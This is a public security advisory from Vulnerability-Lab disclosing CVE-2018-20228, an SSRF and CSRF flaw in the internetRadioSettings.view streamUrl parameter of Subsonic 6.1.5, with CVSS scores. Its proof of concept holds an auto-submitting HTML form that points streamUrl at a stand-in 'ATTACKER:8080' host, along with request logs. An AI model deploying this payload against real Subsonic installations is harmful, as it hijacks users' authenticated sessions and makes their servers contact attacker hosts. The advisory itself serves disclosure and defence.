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S.AbenMassaoud [[email protected]] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoudVULNERABLE:2175

HistoryDec 17, 2018 - 12:00 a.m.

Subsonic v6.1.5 - Server Side Request Forgery & CSRF

2018-12-1700:00:00

S.AbenMassaoud [[email protected]] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud

www.vulnerability-lab.com

6 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

34.2%

JSON

Document Title:
===============
Subsonic v6.1.5 - Server Side Request Forgery & CSRF


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2175

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20228

CVE-ID:
=======
CVE-2018-20228


Release Date:
=============
2018-12-17


Vulnerability Laboratory ID (VL-ID):
====================================
2175


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Server Side Request Forgery


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Subsonic is an easy-to-use media streaming service with a user-friendly interface and the ability to share music and video 
with multiple users. It is highly customizable and includes features such as Chromecast support and file conversion.

(Copy of the Homepage: https://www.linode.com/docs/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a server-side request forgery and csrf issue in the official Subsonic v6.1.5 for microsoft windows.



Vulnerability Disclosure Timeline:
==================================
2018-12-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Subsonic AS
Product: Subsonic - Media Streaming Service (Web-Application) 6.1.5 (Windows, MacOS, Debian, Ubuntu, Fedora, Synology NAS)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Medium User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A ssrf vulnerability and csrf issue has been discovered in the official Subsonic v6.1.5 for microsoft windows.
The security vulnerability allows remote attackers to hijack the authentication of users for requests that visites a internet radio.

The vulnerability is located in the `internetRadioSettings.view` module and the `streamUrl` parameter of the localhost path URL. 
Remote attackers are able to conduct server-side request forgery (ssrf) attacks combined with a cross site request forgery issue. 
Both together can allow a remote attacker to hijack the authentication for stream of internet radios.

The security risk of the ssrf web vulnerability and cross site request forgery issue is estimated as medium with a cvss count of 4.1.
Exploitation of the ssrf and csrf vulnerability requires a low privilege web-application user account and low or medium user interaction. 

Request Method(s):
[+] POST

Vulnerable Parameter:
[+] streamUrl

Vulnerable Module(s):
[+] internetRadioSettings.view


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers a low privilege web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
<html>
  <body>
    <form  id="test" action="http://localhost:4040/internetRadioSettings.view" method="POST">
      <input type="hidden" name="name" value="NAME" />
      <input type="hidden" name="streamUrl" value="http://ATTACKER:8080" />
      <input type="hidden" name="homepageUrl" value="" />
      <input type="hidden" name="enabled" value="on" />
    </form>
    <script>document.getElementById('test').submit();</script>
  </body>
</html>



--- PoC Session Logs ---
http://localhost:4040/internetRadioSettings.view
Host: localhost:4040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ATTACKER:8080/poc.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: keep-alive
Cookie: player-61646d696e=2; JSESSIONID=hy5rv1nhc82c; DWRSESSIONID=8wm6J5vYUR!zJF6xZ9Df9FykouYTtQ!RAum
Upgrade-Insecure-Requests: 1
name=NAME&streamUrl=http://ATTACKER:8080&homepageUrl=&enabled=on
POST: HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 8354
Server: *****


Then waiting for victim to visit [ Internet radio ] 
Serving HTTP on 0.0.0.0 port 8080 ...
VICTIM - - [**/Dec/2018 **:**:**] "GET / HTTP/1.1" 200 -


Vulnerable Source:
<form method="post" action="internetRadioSettings.view">
<table class="indent">
    <tbody><tr>
        <th>Name</th>
        <th>Stream URL</th>
        <th>Homepage</th>
        <th style="padding-left:1em">Enabled</th>
        <th style="padding-left:1em">Delete</th>
    </tr>
        <tr>
            <td><input type="text" name="name[3]" size="20" value="NAME"></td>
            <td><input type="text" name="streamUrl[3]" size="40" value="http://ATTACKER:8080"></td>
            <td><input type="text" name="homepageUrl[3]" size="40" value=""></td>
            <td style="padding-left:1em" align="center"><input type="checkbox" checked="" name="enabled[3]" class="checkbox"></td>
            <td style="padding-left:1em" align="center"><input type="checkbox" name="delete[3]" class="checkbox"></td>
        </tr>
        <tr>
            <th colspan="5" style="padding-top:1em" align="left">Add radio station</th>
        </tr>
    <tr>
        <td><input type="text" name="name" size="20" placeholder="Name"></td>
        <td><input type="text" name="streamUrl" size="40" placeholder="Stream URL"></td>
        <td><input type="text" name="homepageUrl" size="40" placeholder="Homepage"></td>
        <td style="padding-left:1em" align="center"><input name="enabled" checked="" type="checkbox" class="checkbox"></td>
        <td>
    </td></tr>

    <tr>
        <td style="padding-top:1.5em" colspan="5">
            <input type="submit" value="Save" style="margin-right:0.3em">
            <input type="button" value="Cancel" onclick="location.href='nowPlaying.view'">
        </td>
    </tr>
</tbody></table>
</form>


Security Risk:
==============
The security risk of the server-side request forgery (ssrf) via cross site request forgery (csrf) in subsonic v6.1.5 product is estimated as medium.


Credits & Authors:
==================
S.AbenMassaoud [[email protected]] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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6 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

34.2%

JSON

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